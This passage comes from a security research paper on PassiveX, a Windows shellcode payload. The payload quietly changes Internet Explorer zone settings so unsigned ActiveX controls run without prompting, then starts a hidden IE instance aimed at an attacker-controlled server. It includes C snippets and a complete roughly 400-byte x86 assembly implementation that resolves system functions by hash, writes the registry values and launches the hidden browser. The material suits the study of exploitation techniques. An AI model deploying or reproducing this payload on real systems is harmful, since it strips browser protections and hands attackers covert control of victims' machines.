Informative Information for the Uninformed | ||||||||||||||
|
||||||||||||||
Next: HTTP Tunneling ActiveX Control
Up: Implementation: PassiveX
Previous: Implementation: PassiveX
  Contents
|
Setting Value Name | Description |
---|---|
1001 | Download signed ActiveX controls |
1004 | Download unsigned ActiveX controls |
1200 | Run ActiveX controls and plugins |
1201 | Initialize and script ActiveX controls not marked as safe |
In order to make it so ActiveX controls can be used, each of the above described settings must be changed to Enabled. This is done by setting each of the values to 0 by calling advapi32!RegSetValueExA on the opened key for each of the individual registry values. After these values are set to enabled, Internet Explorer will, by default, download and execute ActiveX controls regardless of whether or not they are signed without user interaction. The actual process of setting of a value is demonstrated below:
DWORD Enabled = 0; RegSetValueEx( Key, "1001", 0, REG_DWORD, (LPBYTE)&Enabled, sizeof(Enabled));
With the zone restrictions modified, the next step is to determine the full path to IEXPLORE.EXE. The reason this is necessary is because IEXPLORE.EXE is not in the path by default and thus cannot be executed by name. While shell32!ShellExecuteA may appear like an option, it is in fact not considering the fact that the target machine may have Mozilla registered as the default web-browser. It should also not be assumed that Internet Explorer will reside on a static drive, such as the C: drive. Even though it may be common, there are sure to be cases where it will not be true.
One way of working around this issue is to use a very small portion of code that determines the absolute path to internet explorer in only two assembly instructions. The code itself makes an assumption that Internet Explorer's installation will be on the same drive as the Windows system directory and that it will also be installed under its standard install directory. Barring this, however, the two instructions should result in a portable implementation between various versions of Windows NT+:
url: db "C:\progra~1\intern~1\iexplore -new http://site", 0x0 ... fixup_ie_path: mov cl, byte [0x7ffe0030] mov byte [esi], cl
In the above code snippet, esi points to url. The static address being referenced is actually a portion of SharedUserData that just so happens to point to the unicode path of the system directory on the machine. By making the assumption that the drive letter that the system directory is found on will be the same as the one that Internet Explorer is found on, it is possible to copy the first byte from the system directory path to the first byte of the path to Internet Explorer on disk, thus ensuring that the drive letters are the same3.5.
Once the full path to Internet Explorer has been located, all that remains is to execute a hidden Internet Explorer with it pointed at an attacker controlled HTTP server. This is accomplished by calling CreateProcessA with the command line argument properly set to the full path to Internet Explorer. Furthermore, the wShowWindow attribute should be set to SW_HIDE to ensure that the Internet Explorer instance is hidden from view. This is accomplished by calling CreateProcessA in the following fashion:
PROCESS_INFORMATION pi; STARTUPINFO si; ZeroMemory( &si, sizeof(si)); si.cb = sizeof(si); si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; CreateProcessA( NULL, url, // "\path\to\iexplore.exe -new <url>" NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
One important thing to note about this phase is that in order to get it to work properly with system services that are not able to directly interact with the desktop, the si.lpDesktop attribute must be set to something like WinSta0\Default.
An implementation of this approach can be found below. It is optimized for size (roughly 400 bytes, adjusted for the variable URL length), robustness, and portability. A large part of the payload's size comes from the static strings that it has to reference for opening the registry key, setting the values, and executing Internet Explorer. The size of the payload is one of its major benefits to this approach as it ends up being much smaller than other techniques that attempt to accomplish a similar goal[9].
Targets: NT/2000/XP/2003
Size: 400 bytes + URL size
passivex: cld call get_find_function strings: db "Software\Microsoft\Windows\" db "CurrentVersion\Internet Settings\Zones\3", 0x0 reg_values: db "1004120012011001" url: db "C:\progra~1\intern~1\iexplore -new" db " http://attacker/controlled/site", 0x0 get_find_function: call startup find_function: pushad mov ebp, [esp + 0x24] mov eax, [ebp + 0x3c] mov edi, [ebp + eax + 0x78] add edi, ebp mov ecx, [edi + 0x18] mov ebx, [edi + 0x20] add ebx, ebp find_function_loop: jecxz find_function_finished dec ecx mov esi, [ebx + ecx * 4] add esi, ebp compute_hash: xor eax, eax cdq compute_hash_again: lodsb test al, al jz compute_hash_finished ror edx, 0xd add edx, eax jmp compute_hash_again compute_hash_finished: find_function_compare: cmp edx, [esp + 0x28] jnz find_function_loop mov ebx, [edi + 0x24] add ebx, ebp mov cx, [ebx + 2 * ecx] mov ebx, [edi + 0x1c] add ebx, ebp mov eax, [ebx + 4 * ecx] add eax, ebp mov [esp + 0x1c], eax find_function_finished: popad retn 8 startup: pop edi pop ebx find_kernel32: xor edx, edx mov eax, [fs:edx+0x30] test eax, eax js find_kernel32_9x find_kernel32_nt: mov eax, [eax + 0x0c] mov esi, [eax + 0x1c] lodsd mov eax, [eax + 0x8] jmp short find_kernel32_finished find_kernel32_9x: mov eax, [eax + 0x34] add eax, byte 0x7c mov eax, [eax + 0x3c] find_kernel32_finished: mov ebp, esp find_kernel32_symbols: push 0x73e2d87e push eax push 0x16b3fe72 push eax push 0xec0e4e8e push eax call edi xchg eax, esi call edi mov [ebp], eax call edi mov [ebp + 0x4], eax load_advapi32: push edx push 0x32336970 push 0x61766461 push esp call esi resolve_advapi32_symbols: push 0x02922ba9 push eax push 0x2d1c9add push eax call edi mov [ebp + 0x8], eax call edi xchg eax, edi xchg esi, ebx open_key: push esp push esi push 0x80000001 call edi pop ebx add esi, byte (reg_values - strings) push eax mov edi, esp set_values: cmp byte [esi], 'C' jz initialize_structs push eax lodsd push eax mov eax, esp push byte 0x4 push edi push byte 0x4 push byte 0x0 push eax push ebx call [ebp + 0x8] jmp set_values fixup_drive_letter: mov cl, byte [0x7ffe0030] mov byte [esi], cl initialize_structs: push byte 0x54 pop ecx sub esp, ecx mov edi, esp push edi rep stosb pop edi mov byte [edi], 0x44 inc byte [edi + 0x2c] inc byte [edi + 0x2d] execute_process: lea ebx, [edi + 0x44] push ebx push edi push eax push eax push byte 0x10 push eax push eax push eax push esi push eax call [ebp] exit_process: call [ebp + 0x4]